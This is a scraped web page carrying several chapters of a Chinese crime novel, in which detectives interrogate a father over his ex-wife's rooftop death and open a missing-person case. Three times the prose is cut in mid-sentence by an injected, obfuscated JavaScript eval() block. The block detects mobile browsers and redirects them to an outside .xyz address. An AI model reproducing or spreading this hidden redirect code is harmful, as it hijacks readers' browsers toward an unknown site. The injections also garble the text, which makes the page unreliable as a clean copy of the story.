;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985496|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆闻微一挑眉:“先走了?” “是啊,”薛浩点点头,“我想回去再想想别的办法,至于后面的事,我就真的不知道了。” “撒谎。”陆闻从桌上拿起手机,而后转向薛浩播放了一段视频,“这是薛诗璇家门外走廊上的监控视频,你那时候根本就没有走,你打了薛诗璇一巴掌,还把她拖去了楼顶。对吧?” 薛浩没说话,他记得薛诗璇家外面没有监控来着,怎么突然又有了? 见薛浩皱着眉不知在想些什么,齐况便适时开口打断了他们之间的沉默:“薛浩,警察掌握到的信息,远远比你想象的多,所以你最好是能老实交代。” “我,我也记不清了,我年纪大了,脑子不好很正常。我饿了,我得吃饭吧,快点给我弄点饭来吃。” 想着陆闻两人暂时还不能把他怎么样,薛浩突然又撒起了泼。陆闻看他一副要死不活的模样,气的差点儿飙脏话,好在被齐况及时给制止了。 “好了陆队,先让他吃饭,正好我们也出去想想对策,嗯?” 陆闻没答话,只是点点头,而后首先拿上东西起身走了出去。齐况紧随其后,却不忘在出门那一刻朝薛浩那边看了眼。 “涂暄,给薛浩送点饭进去,在此期间记得要时刻关注里面的情况。” “好的齐哥。” 交代好涂暄之后,齐况转身去了队长办公室。办公室里的墙上挂着钟,现在已经是晚上的11点23分。 “由着薛浩这么胡言乱语下去也不是办法,”齐况在旁边的沙发前坐下,叹声道,“可惜他们在天台上发生了什么我们也不知道,在没有监控和目击证人,还有更多证据的情况下,之后的行动该怎样展开,你想好了吗?” 陆闻若有所思地转动着手中的笔:“薛浩得继续问下去,而且,我们现在也不是毫无进展。” “你过来看,”陆闻抬手示意齐况过去,而后在手机里找出一张照片,“你看这个,这是韩法医在唐梦身上发现的,他说这是一道淤青,也就是说唐梦生前曾遭受过撞击。” “我在案发现场测量过天台护栏的高度,和唐梦淤痕的位置差不多。你设想一下,在大腿后侧的位置,一般很难是自己主动去磕碰到,大多都是因为受到过外力,对吧?” 想到这儿,陆闻突然站起身,推着齐况走到沙发前,而后站在他对面:“你腿抵着沙发,我推你一下,就像这样。” 话音未落,陆闻搭在齐况肩膀上的手猛一用力,将他推倒在沙发上:“你看,是不是抵着沙发的地方有感觉?如果是在发生争执的情况下,受到的外力可能就更大。” “可是,这些现在还只是猜想,”齐况在沙发上坐正,抬头看向站在自己面前的陆闻,“要不,再去找薛诗璇了解下当时的情况?” 陆闻没立刻接话,而是转身在齐况身边坐下:“可是你也看见了,薛诗璇只要回忆到这里,就会情绪不稳,在这样情况下问出的证词,准确性太低。” “嗯,那就先看看吧,看看薛浩怎么说。” 41. 第三只手 外面已是深夜,审讯室这边的灯都还亮着。除了陆闻和齐况,就只有负责晚上送来的那些个赌徒的警察还在忙着。 隔壁审讯室里的马永毅抬手看了眼腕表上的时间,又将目光移到对面坐成一排的人身上,看来今天是又要通宵了。 那边,涂暄给齐况发了消息,说是薛浩已经吃饱喝足,此刻正坐在审讯室里打盹儿。于是两人又赶忙回去了那里。 “醒醒醒醒,”陆闻首先进来,站在审讯桌前朝薛浩喊了两声,“真当这儿是自己家了?” 薛浩一个激灵,抬起手揉了揉眼睛:“我说警察同志,这都这么晚了,人总该要睡觉的吧,我这都一大把年纪了,哪儿能经得起你们年轻人这么造?我告诉你们啊,我这要是出了什么事儿,你们得赔啊!” 陆闻没理他,转身和齐况一起坐在审讯桌前的椅子上,而后又拿起之前的照片:“薛浩,老实交代,你带着薛诗璇上楼顶干什么去了,之后唐梦过去的时候你们都发生了什么。” 监控视频截图的照片就在这里,薛浩说不了假,于是只能承认:“没错,我后来的确是拉着薛诗璇去楼顶上了。但是我当时只是想吓唬吓唬她,让她快点把钱给我,她妈也不是我推下去的!” “回忆一下当时的细节。” “我当时,当时就,把她给拽上去了。”不知是不是因为在这里待的时间越来越长,薛浩的语气中已然带着些崩溃,“我跑到屋檐边上,吓唬她说今天要是不给钱,我就从那儿跳下去。” “她拿手机说要报警,我气得跑过去就把她的手机给夺掉扔下去了,完了她就在那儿哭,然后我也坐在地上哭,哭我自己命苦啊,好不容易生了个孩子也不愿意养她亲爹。” 薛浩说着,爬满皱纹的眼角竟真的挂上了几滴眼泪:“然后,唐梦不知道怎么发现我们在楼顶上的,就上来找到我们。唐梦比她女儿厉害,上来就抓着我要和我拼命,我知道那个疯女人什么都能干得出来,就推开她跑走了。” “你离开的时候,唐梦还没有坠楼,对吗?” “我……”薛浩躲开齐况的目光,摇头道,“我不知道。” 见两人仍目不转睛地盯着自己,薛浩有些慌了:“警察同志,我真的不知道啊,当时我们都扭打成一团了,我只记得我推开她们转头就跑了,没看清后面发生了什么啊!” “她们?” “是,唐梦当时看见我,立马就跑上来抓住我要打我,我,我也打她,我又不傻,总不能由着她打我吧。” “我打她了薛诗璇肯定就上来护着唐梦,我们三个打了一阵儿,后来还是我推开她们先跑走的。” “那么,最后一个问题,”陆闻拿起之前那张监控视频的截图,伸出手指点了点照片上的一角,“案发那天你戴了帽子口罩和手套,为什么,是真的碰巧,还是你早有准备?” “我没想杀她们。”薛浩至始至终,都只强调了这么一句话。 眼看着天边犹如鱼肚泛白,朝阳挣脱高楼的束缚,缓缓升起。 “陆队早,”苏乐提着早饭进来,正好碰见陆闻迷迷糊糊地从办公室里出来,“给你们带的早饭,趁热吃吧。” “嗯,谢谢。”后者揉着肩膀,在苏乐对面坐下,而后拿起一个包子塞进了嘴里,“小马和齐况他们也没吃呢,你待会儿叫他们都过来吃点。” 苏乐点点头:“又通宵啦?” “都嘴硬的很。”陆闻半眯着眼,撇嘴道,“对了,你和薛诗璇联系一下,让她今天抽时间过来一趟。” “好,是案子有什么新进展了吗?” “薛浩的口供,说当时他们三个有发生争执,韩法医之前尸检也说过唐梦的手上有抓痕,这都对的上。不过这样的话,薛诗璇就同样有了嫌疑,毕竟谁也不保证在撕扯的过程中,会不会造成过失杀人。” 苏乐微一皱眉:“可是薛诗璇她,只要提到三人在楼顶的情景,就容易情绪激动,到时候万一又……” “没事儿,到时候我来处理。” 苏乐点点头,便没再说话。 接到电话之后,薛诗璇就立刻打车来到了城东分局。 那边的人都招了,陈家大院儿确实是一处私人开的赌博场所,凡是从里面抓到的人,都有聚众赌博的行为。于是薛浩今早就先去了那边继续交代。 陆闻和苏乐正在询问室里等着薛诗璇,见人进来,就招呼她坐在对面—— “陆闻。”薛诗璇放下包,首先开口道,“是不是我妈的案子有进展了?” 陆闻未答:“薛诗璇,我们找你过来,是有些事想要问你。” “好,”薛诗璇点点头,“你们问吧。” “关于案发前后的经过,我还是想听你再说一下。” 大概是来这里之前,薛诗璇就已经做好了接受询问的准备,所以这次显然比之前要平静了许多。 “当时,我下班回家,没想到会碰见薛浩在我家门口等我,他看见我就跑过来问我要钱,我不给他就骂我,还把我拽到天台上,假装要跳楼来威胁我。” “我当时真的很烦,因为他每次找我要钱都这样要死要活的,我就说我要报警,他就过来抢我手机,还把我手机给扔下去了。我当时……” “等等,”薛诗璇话还没完,陆闻忽地抬起手打断了一下,“所以当时你立刻就打电话报警了吗,报警的时间是?” 薛诗璇却摇摇头,解释道:“我当时没想真的报警,因为我之前就报过警,可对薛浩并不管用。” “所以,你是有打给谁吗?” “对,我打给了我妈妈。”在说到这里的时候,薛诗璇有些哽咽。 她知道如果不是她的这通电话,唐梦就不会死,这世上于她来说唯一的至亲,也就不会离开她。 “我当时,我当时也不知道是怎么想的,我打给了我妈妈。” 薛诗璇抬起手,将自己的一只眼睛捂的严严实实,可眼泪还是从另一只眼睛流下:“如果不是我,我妈就不会过来,她也不会离开我。都是我,都是我的错。” 一旁的苏乐拿出纸巾,递到了薛诗璇的面前,后者接过,道了一声谢谢:“后来,我妈就来了。” “她因为薛浩又来找我的事很生气,所以直接就和薛浩打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985497|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了,我就……就想上去帮她,可是我也不知道怎么了,我妈她就……” 薛诗璇说到这儿的时候,已经泣不成声,陆闻便没再继续问下去。 薛诗璇这边有些细节和薛浩也能对的上,只是在三人发生争执后,究竟因为谁才导致了悲剧的发生,陆闻到现在也想不明白。 说到底,他们俩的话,现在都还得不到证实。 薛诗璇出来的时候,正碰上也从隔壁出来的薛浩。四目相对不过一秒,薛诗璇就立刻别过头去,她现在看见薛浩就恶心。 见状,薛浩咧开嘴肆无忌惮地笑了:“怎么,还嫌弃起自己的爹了?” 薛诗璇不愿理他,于是点头示意陆闻带她走。就在两人经过薛浩的时候,薛诗璇却听见薛浩这样说道:“我告诉你,只要我没死,你这辈子都别想摆脱我!” 闻言,薛诗璇的睫毛微微颤动起来。 就在快要离开一群人的时候,她侧头深深地看向身后,直到薛浩的身影彻底消失在她的视线里,她才缓缓收回目光。 “薛诗璇。” 陆闻在门口停下,微微侧头看向走在自己身旁的薛诗璇:“我很抱歉,这个案子我们暂时没有足够的证据,不过如果你能想到什么,请一定要及时联系我。” “我会的。”薛诗璇勉强扯开嘴角,朝面前的人笑了笑,“不管怎么说,陆闻,真的很谢谢你,还愿意帮我。” 陆闻摇摇头:“我是警察,这是职责所在。不过,没能帮到你和唐阿姨,我是真的很抱歉。” 薛诗璇低着头,闭了闭眼:“我先走了。” “薛诗璇,”陆闻抬起手,叫住已经走出几步的薛诗璇,“这个案子,我不会就此罢休,哪怕只是一丁点儿证据,我也会继续找下去。” “我相信你。” “薛诗璇!”见人要走,陆闻赶忙又将她叫住,“我差点儿忘了,还有个东西没给你。” 陆闻走到薛诗璇面前站定,手插进兜里摸索出一个证据袋:“这是韩法医给我的,说是从唐阿姨身上找到的,我们已经检查过了,没什么问题,现在交给你。” 薛诗璇没说话,只是从陆闻手里接过证据袋,而后将里面的东西拿出来打开。 是一条项链,薛诗璇记得,前段时间唐梦说过,要送给她一件礼物,庆祝自己的宝贝女儿升职。 眼前不知被什么东西遮挡,薛诗璇只觉得自己的视线越来越模糊,直到最后,她再也压抑不住的情绪从心底释放,化作悲恸的叫喊声。 陆闻没说话,只是站在旁边,等着薛诗璇将心里的委屈都宣泄出来。 良久,不知是她哭不动了,还是已经接受了这个残忍的现实,她站起身,却不言语,只低着头往前走。 “薛诗璇……” 闻言,薛诗璇缓缓停下步子,像是在等着陆闻接下来的话:“我想说,唐阿姨不会希望自己的女儿做傻事的。” 薛诗璇只摇摇头,声音不大不小,更像是说与自己听:“我不会的。” 说着,她又转过身,定定地看向对面的人:“谢谢你陆闻,这是你第二次救我。” 42. 寻踪 陆闻收拾好东西准备下班时,已经将近晚上的十一点,谁知刚出门,却看到齐况正匆匆地往这边走进来。 “这么晚了,还没下班?” 陆闻双手插着兜:“正要走了,倒是你,怎么又回来了?” “回来拿个东西。” 说完,齐况转身去到自己的工位上,拿起一个厚本子,塞进了自己的包里。陆闻没跟上去,只是远远地看着对方的动作。 人出来时,陆闻还在原处站着,齐况便抬起头看他:“不是要走了吗?” “有点儿饿了。”陆闻摸了摸自己的肚子,“待会儿有事儿没,请你吃夜宵。” “嗯,好啊。” 城东分局附近有条美食街,平时他们饭点儿都是在那边吃的饭。陆闻两人选了一家面馆,这个点儿楼上楼下已经坐的满满当当的,只有靠窗的地方有张空桌。 还没坐下,陆闻就走到窗边将玻璃窗拉上了些,不过还是留着条缝儿通风,好让弥漫在屋里的烟味能散去。 等面上来的时候,陆闻看向正盯着窗外出神的齐况,首先问道:“马上过年了,你回去过吗?” 齐况没立刻回答。 良久,他才嘴角微扬起,露出一个苦涩的笑容,摇头道:“我妈已经去世了,我也没必要再回那边。” “那你爸……”陆闻没继续说下去,因为他见齐况在听到这几个字后,明显变了脸色。 “他在我15岁那年的冬天就出意外死了,车祸。” 陆闻显然没想到会是这个答案,愣怔了许久才摆起手:“对不起啊,我没想到是这个。” 齐况却只摇摇头,云淡风轻地道:“没什么,他不是我的亲生父亲,也是他死了,我和我妈才得到解脱。” 陆闻显然没明白齐况的意思。 “我妈她,当年是未婚先孕。” 齐况说着,仿佛是跌入了某段回忆,那是他的母亲在最后的那点时光里,说与他听时的情景。 25岁那年,齐冉从蓝海去到了宁水市寻找未婚夫孙成慧,谁知才过去没多久,齐冉就发现自己怀了孕。 距离原定的婚期还有几个月,他们又担心到时候月份大了不方便,就想着能把结婚的日子提前。 当时正巧临近新年,谁知,就在他们准备回蓝海结婚的前几天,竟发生了意外。 孙成慧在和工友们向上头要工钱的时候,场面一度失去控制,几人在争执的过程中,竟失手杀害了孙成慧。 在串通好口供,又有金钱背景的加持下,他们顺理成章地将孙成慧定成了自杀。可怜齐冉伤心过度,却怎么也不肯接受这个事实,再没回去蓝海。 一心想要找出事情真相的齐冉四处碰壁,而她肚子里的孩子也已经过了七月,就在这时,她遇到了杨瑞风。 杨瑞风不介意她有个孩子,不介意她的所有,身处异乡身单力薄的齐冉,终于还是相信了他的全部誓言。 一直到齐况15岁的那年冬天,杨瑞风却因为酒驾出了事故,从此以后,又只剩下齐冉母子相依为命。 “如果当时他没有因意外去世,我们家,我的人生,绝对不会是现在这样。” 陆闻还是没懂齐况话里的意思,可人家的家事到底不好多问,于是他便忍住了想要继续了解下去的念头。 “那你现在在蓝海,还有亲人吗?” 齐况点头:“有,我外公外婆都还在这里。” 陆闻这才想起,当年自己和秦队初见齐况时,也是在这么一个雪夜。 那天,原本请假休息的他,在听说发生的案件是秦队一直在跟的那个,就匆忙赶到了案发现场,谁也没想到那里还会藏了个人,而那人正是齐况。 他还记得,在之后的询问过程中,齐况确实说过自己是来外婆家过年的。 陆闻不知是想到了哪里,扯起嘴角突然笑出声来,对面的齐况只觉奇怪:“笑什么?” “没什么,”陆闻连忙摇头,“只是突然想起当年,你一看到我们害怕的那样儿,还挺有趣的。现在嘛,一本正经的,遇事倒沉稳了很多。” 齐况便也笑了:“人总是会变的。就像当年,我也不会想到,有一天会和你坐在一起吃饭喝茶。” “是啊,人总是会变的。” 大年初一那天正赶上陆闻值班,他双手插兜从车里出来,刚上了几层台阶,就碰上急匆匆往外面走的周安逸—— “哎小周,”还未走近,陆闻就首先叫住了人,“干嘛去啊。” “陆哥,”周安逸停下步子,这才注意到包裹严实的陆闻,“一大清早,就有人过来报失踪,报案人特别着急,这不,我赶紧先带着兄弟伙儿们过去看看。” “噢好好,那你快去吧,人失踪了家属肯定着急。” “嗯,那陆哥我先走啦。” 和周安逸分开后,陆闻又揣着手上了楼,刚进到办公室,他便开始里三层外三层的脱衣服。 “陆队,”门外响起敲门声,正是同样值班的薛文霖,“我给你带了早饭……这是?” 听见声音,陆闻回过头看向来人,手上动作却没停:“小薛,正好,快点儿过来给我拽下衣服。” 闻言,薛文霖忙放下早饭过去,替陆闻拉着衣服:“陆队,你这穿的好好儿的,怎么又要给脱了?” “还不是我妈,说今天冷,非得让我多穿几件,这又是帽子又是围巾的,跑都跑不动了,到时候怎么追嫌疑人啊。” 看陆闻边脱边皱眉嘟囔着,薛文霖没忍住笑了,他还是第一次见这样的陆队长:“父母都是这样,我爸今早还担心雪天路滑不好骑车,非要送我过来呢。” “做家长的,哪有不关心自家孩子的。”不知是想到些什么,陆闻突然沉了脸色,“不过也总有例外就是了。” 薛文霖没继续说话。想起他来到队里的这段时间,参与了大大小小的案子里,这样的例外确实不算少见。 队里没有要案需要处理的时候,陆闻就会拿出林一然的案卷出来琢磨,虽然他至今看了很多次,多到他已经可以记住里面的每句话,每一个字。 自从之前在现场发现了疑点,陆闻便更加确定林一然的牺牲没有那么简单,而最后的矛头,竟然还指向了池林江三家。 林一然是林家的独子,他爸妈疼他还来不及,肯定不会做出伤害他的事。 而池万笙此人,陆闻因为之前的案件,倒是和他打过几次照面,虽接触不多,可既然能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985498|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌管一家之大业,就知道他也不会是什么等闲之辈。 至于江家,说实话,陆闻了解的还真是不多。想到这里,陆闻立马放下手里的案卷,搜索了有关江氏的信息。 江优,江氏集团负责人,大学时就开始创业之路,迄今也有四十多年。 江优27岁时,和池家老爷子的妹妹池青玉结了婚,不过那时候因为江优的事业路还不太稳,池家并不想池青玉嫁给一个前途不明的人,池青玉也因为江优和家里彻底闹翻。 所以池江两家这些年并不对付。 “可是,这和林家或者林一然有什么关系呢?” 陆闻觉得自己还是得出去看看。这么想着,他合上手里的东西,起身穿上外套便出了分局。 陆闻驱车来到了林家,因为之前林一然在时,也邀请过陆闻和队里的几位同事一起吃饭,所以他母亲自然也认识陆闻。 “喻阿姨。” 在看到林一然的母亲喻明薇时,陆闻心下一惊,丧子之痛折磨的这个女人憔悴不堪,眼底青黑和消瘦的脸庞便能证明这一点。 喻明薇显然也没想到陆闻会在这个时候过来。林一然在时,她就经常听他提起陆闻,也知道陆闻在队里很照顾自己的儿子,对他自然会有些好感。 “陆警官,这时候怎么来了?外面冷,先进来吧。” “谢谢喻阿姨,”陆闻抬步进门,将礼品放在客厅的茶几上,“这不是过年了嘛,就想着来看看二老。林叔叔呢?” “他出去拜年了。”喻明薇端了杯水走到陆闻对面坐下,“喝杯热茶吧。” “谢谢喻阿姨。”陆闻从喻明薇手里接过水杯,“喻阿姨,是这样的,您知不知道一个叫李天明的人?” “李天明?”喻明薇细眉微蹙,似在脑海中回忆。良久,她却摇头道,“没有,我从来没听过这个名字,怎么了?” “他……”陆闻有些犹豫,若是说明实情,只怕又会勾起喻明薇的伤心事,“他是我和一然办案时遇到的嫌疑人,倒不是什么重要的人物。只是想请喻阿姨,到时候也能帮我问问林叔叔。” 喻明薇点点头:“好,等他回来,我帮你问问。” “谢谢喻阿姨。”陆闻顿了顿,又开口道,“那个,喻阿姨,我可以去一然的房间里看看吗?” “当然可以。” 林一然的房间一直没动,所有的生活痕迹,都还停留在他牺牲那天去分局之前的早上。 进屋,各种二次元动漫或游戏人物的海报占了满墙,陆闻现在想想,林一然大概就像这些动漫里的人物,善良细腻又带着永不言弃的坚韧与果敢。 上大学时,林一然有段时间就特别喜欢打篮球,据说也是因为某部动漫里的主角。 不过,毕业进了队里之后,因为有大大小小太多的案件要处理,那颗篮球便在角落里落了灰。 陆闻走过去将篮球拿起,轻轻吹去了上面的浮灰,球的表面已经有些磨损,时间会在任何东西上留下痕迹。 他又站起身,走到窗下的书桌前,书桌上的物品摆放的不算多整齐,可陆闻还是没舍得帮他收拾,一切维持原样儿便好。 忽地,陆闻却在一排漫画书里,发现了一本日记。 43. 布偶人 陆闻并不知道林一然有写日记的习惯,或许这里有他想要的东西,可日记毕竟属于个人隐私,他又有些犹豫到底该不该看。 挣扎良久,陆闻还是拿起日记本,心中默念道:“一然,对不起啊,我只是想看一下里面有没有什么重要信息。” 这样想着,他缓缓地翻开其中一页,仔细阅读了上面的文字之后,才知道这原来是林一然对自己参与每起案件的描述,以及从中学到的破案技巧和感悟。 陆闻又随便翻了几页,果然在里面看到许多他们曾一起处理过的案件,且都是非常详细的记载。 他便坐下来,重新从第一页开始翻起,而那些时光,竟也在他脑海中一幕幕地重现—— “陆队长好,我叫林一然,今天是第一天来队里,我会努力成为一名好警察的!” “陆队,我不敢看……还有这尸体的味道,我实在受不了了。” “陆队,带上我吧,这次我不会拖后腿的!” “陆队陆队,你看,我也可以独立出现场了!” “收到,陆队。” “陆队,还是让我去吧。” 陆闻突然觉得鼻子有些发酸:“一然,对不起,都是因为我。如果不是我,你就不会……”他忍不住哽咽道。 终究是,泣不成声。 他还记得,林一然第一次见到尸体差点儿哭出来的时候,是他说男子汉流血不流泪。可如今的他,却抱着那本笔记掩面痛哭了许久。 是不舍,更有愧疚。 陆闻整理好情绪下楼的时候,喻明薇正坐在沙发上发呆:“喻阿姨。” 他朝人走近:“我在一然房间里发现了这个,是他办案时的记录本,里面有些东西很有用,我可以带走看看吗?当然了,用完我会马上送回来的。” 陆闻问的小心翼翼,毕竟喻明薇中年丧子才是最痛,他不想在他们的伤口上反复摩擦。 喻明薇回过神,眼底疲态难掩:“有用啊……有用好,那你带走吧,我想他也会同意的。” 在这之后,陆闻又去了一趟江氏,不过不巧,江优带着妻儿回了乡下老家过年,现在还没回来。 他本想再去一趟池万笙那里,可万一人和江优家一样,他岂不是白跑一趟? 这样想着,陆闻就又回了分局。而在和薛文霖打过招呼后,他就又去到自己的办公室里坐下。 方才林一然的笔记他没有细看,现在他才发现,原来里面还记录着一篇自己完全不知情的案件。 阅读之后,陆闻了解到案件内容大致是说一个女孩儿在受到侵犯后报警,却反被侵犯者带人威胁,没想到她的父亲也在保护她的时候被人打死。 而犯罪嫌疑人不但没有得到应有的报应,竟还因为家世背景逃过一劫。 至于陆闻为什么单独挑出这个案件,是因为每篇笔记中的受害者和嫌疑人或作案人的名字都有提到,唯独这篇,他没看见一个名字。 为什么一然,你是不知道,还是不愿写? 这倒让陆闻有些在意起来,案件中的人究竟都是谁。在林一然调查这起案件不久后,李天明就被发现与池林江三家均有接触,那么这起案件和李天明又和池林江三家,是否与林一然的牺牲有关呢? 陆闻放下手中的笔记本,抬手揉了揉眉心处。 这一切都让他有些摸不清头脑,不说别的,只说要查出这起无名案件的头尾,就足够让他头疼的了。 时光飞逝,转眼分局的大家都重返到各自的工作岗位。齐况背着包准备上楼时,正好碰见迎面走来的薛文霖—— “新年好。” “齐哥?”薛文霖将目光从手里的文件移到来人的方向,“你来啦,新年好啊。” 齐况点点头:“现在出去吗?” “嗯,这边有个案件有些地方需要目击证人进行补充。” “那路上小心。” 和薛文霖分别后,齐况回到自己的工位上,开始整理自己桌上的材料。谁知才刚坐下不久,陆闻就发来了信息—— 有空的话可以过来一下吗? “陆队,”齐况站在办公室门口敲了两下,旋即推开门走进去,“你找我有事?” 陆闻双手握拳撑在下巴处,目视前方不知在想些什么,见齐况过来,才回过神将桌上的笔记本转了个头,正对着齐况那边。 “你看这个,是我在一然家找到的。” 入眼是林一然工整流畅的字体,他进队时的成绩和很多人比虽差了些,可那一手好字却是队里写得最赏心悦目的。 齐况拿起笔记本,仔细将那篇长文默念了一遍。 在这之后,他却皱紧眉头,又翻了前面的几篇,才看向对面的陆闻,问道:“这篇怎么没有名字?” “嗯。这也是我比较奇怪的一点。” 齐况没接话,他目不转睛地盯着本上的文字,半晌,才开口道:“会不会这案件的主人公,是一然认识的人,所以他不愿写出来?” 陆闻低下头,闭了闭眼道:“有这个可能性。不过棘手的是,除了队里的兄弟,我还真不知道一然平时和谁有过接触。” “陆队,武局找你过去一趟。” 陆闻再出来时,是和周安逸一起:“陆哥,东西等会儿我让君君给你送过去,有什么问题你再找我,这个案子我们也跟了一段时间,很多信息都能背下来了。” 后者抬手拍了拍周安逸的肩膀:“好,有劳了。” “小薛,通知现在留在队里的同事,十分钟后去会议室集合。”陆闻在回去之前只发完这条信息,便收起手机下了楼。 在接到通知后,陆陆续续的就有人进了会议室,而在距离集合还剩两分钟的时候,陆闻拿着文件袋走了进来—— “好,大家都到齐了?” 见那边薛文霖点头,他才继续说道:“那现在和大家说一下,刚才我接到了一起失踪案,而我手里的是有关失踪人员的部分信息。” 话音未落,陆闻抬手打开文件袋,从里面拿出几张照片 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“苏乐,你带着二组把从福桥到蓝海段高速公路上的监控再看一遍,对了,还有下高速之后崔益驾驶货车往哪里去了,看看有没有被路口监控拍到。” “一组,你们分别去到崔益所在的公司还有家附近,他的上司同事,周边的邻居,尽量问的细些。” “好,都有,干活儿!” 会议结束之后,所有人都按照安排开始干自己的工作。齐况跟在一组后面,收拾好东西准备跟着他们一起出发时,却被陆闻从身后叫住了—— “齐况!”后者闻声回头,只见陆闻已经往这边走近,“你坐我的车,我想去崔益家看看。” “好。” “你觉得崔益是在哪里失踪的?”路上,陆闻瞥见齐况正低头看刚才在会上分发的文件,没忍住问道。 齐况没立刻回答。 他将文件放在自己的腿上,转头看向窗外,似在消化自己刚才了解到的信息:“下高速之后吧,毕竟有监控拍到他的车下高速了。” “下了高速之后,崔益应该在第一时间去到货运公司,而且那边的负责人说见过崔益,他的车也还停在那里。那么时间就可以再往后推,我觉得是崔益从货运公司离开到回家的这段路。” “嗯。从货运公司到崔益家,这段距离他其实不需要坐车,而且也确实没有他乘坐公共交通的信息,嫌疑人肯定没在公共场合动手,那就只可能是在他回家的小路上。” “这么看的话,崔益因为是单独走路回去,给了凶手可趁之机,更何况他从货运公司出来时,已经是晚上了。那个时间外面没什么人,就很有可能被……” 齐况侧着头梳理案件线索,谁知越到后面就变成了他一个人在自言自语,陆闻紧抿着唇,倒是听的津津有味,便没有打断他。 周围又沉默下来,车内空调吹得人有些心慌,好在没多久陆闻就踩了刹车。他伸着头看向窗外,只见比他们先到的一组已经把车停在了这里,而旁边是延伸进去的一条深巷。 “好像进不去了,就在这里下车吧。” 44. 布偶人 陆闻和齐况并肩走进小巷,春节一过,大多数人在享受片刻团圆后又背井离乡,街头巷尾也不似之前热闹。 陆闻双手插兜,边走边观察着这里的环境。铁皮大门内,大多都是用来出租的房屋,露天灶台将走廊下的窗户熏得发黑。 “没什么监控啊……” 他抬手挠了挠后脑勺,余光却瞥见前方一辆小三轮正按着喇叭往这边过来,车轮压在井盖上,发出剧烈地响声。 “齐况!” 小巷窄小,有时候会躲闪不及,情急之下,陆闻便侧身贴在墙边,旋即一把将走在外侧的齐况往自己那边拉近。 眼见前面有人,小三轮却丝毫没有要减速的意思,径直朝他们身后驶去,而齐况在感受到一股外力后,终于从手里的纸张上移开目光。 “抱歉……” “没事。”陆闻收回手,“先别看了,这附近也可能是案件发生的第一现场,还是多观察下沿路的环境吧。” 崔益家住在巷子深处,陆闻两人按着他们之前绘制的线路左进右拐,好半天才找到地方。 大门虚掩,院内有年轻女孩儿正在扫地,这边大多是老旧的居民楼,一楼还配个小小的院子。 陆闻走在前面,屈指敲了几下门,在院内扫地的女孩闻声便走近—— “你们是?” “你好,我们是城东分局的警察。”陆闻说着,将自己的工作证举在女孩儿面前。 “警察……”年轻的女孩儿一瞬间有些恍惚,待到她反应过来,才抬起头和陆闻对视着,“是不是我哥有消息了?” 进了门之后,陆闻两人才发现原来崔益的父母也在家:“爸妈,警察来了!” 正在厨房里刷碗的崔父首先探出头,随后是从卧房里跑出来的崔母:“我儿子是不是回来了?” 她的状态很不好,只从那苍白的脸色和青黑的眼下就能看出来。 陆闻的嘴唇动了动,话在嘴边滚了一圈才缓缓吐出:“那个,我们这次过来,是想请你们能再多补充些信息。” 刚脱下围裙从厨房里出来的崔父脚步一顿:“啊,所以就是说,还没有……” 闻言,崔母也在一瞬间脱了力,跌坐在地上捂着脸痛哭。 崔景妍见状,立刻跑过去扶住崔母:“妈,你别这样,快起来吧,地上凉。” “我的儿,我的儿啊……” 从业这么多年,陆闻还是不擅长处理这种状况的发生,齐况更不用说,虽说平时对人礼貌温柔,可语言方面还是薄弱了些。 “早知道把苏乐也带来了……”陆闻在心里嘀咕了一句。 “两位家属,我知道你们担心孩子的安危。”陆闻抬步上前,斟酌着开口道,“但是请你们放心,不管怎么样,我们一定会找到崔益的!” 不管人是死是活,活着更好,若是死了,他们也一定会尽最大的努力,争取还受害者一个真相。 崔父崔母年纪大了,自己儿子如今又生死未明,情绪难免不稳定。 苦劝无果,陆闻两人只能跟着崔景妍进了其他房间:“实在不好意思,自从我哥失踪后,我爸妈就没睡过好觉。” 陆闻摇摇头,和齐况一起坐到了崔景妍的对面:“介意录像吗?” 见崔景妍摆摆手,一旁的齐况开始准备,而陆闻这才想起观察眼前的人。 崔景妍比崔益小了五岁,也才刚参加工作不久,女孩儿一头乌发,清瘦的脸庞带着柔和,明明已经眼眶湿润,却还是极力地在克制着自己的情绪。 早春时节,乍暖还寒。 大街小巷人来车往,皆行色匆匆,没人会在意此刻是与谁擦肩而过,有人妄图逃离尘世喧嚣,有人却深陷其中无法自拔。 “陆队早。”薛文霖和涂暄准备下楼时,正好碰见上楼的陆闻。 “嗯,早上好。”陆闻停下步子,点点头道,“还有二十多分钟就要开会了,记得早点回来。” 已经走远些的两人不忘回过头:“好的陆队。” 回到自己办公室之后,陆闻把昨天下班前,还没来得及收拾的案卷都整理好放到旁边,而后又将开会要用的材料都检查了一遍。 去到会议室时,距离开会还有差不多八分钟。陆闻将会议桌前的白板转向自己,上面还是之前开会留下的内容。 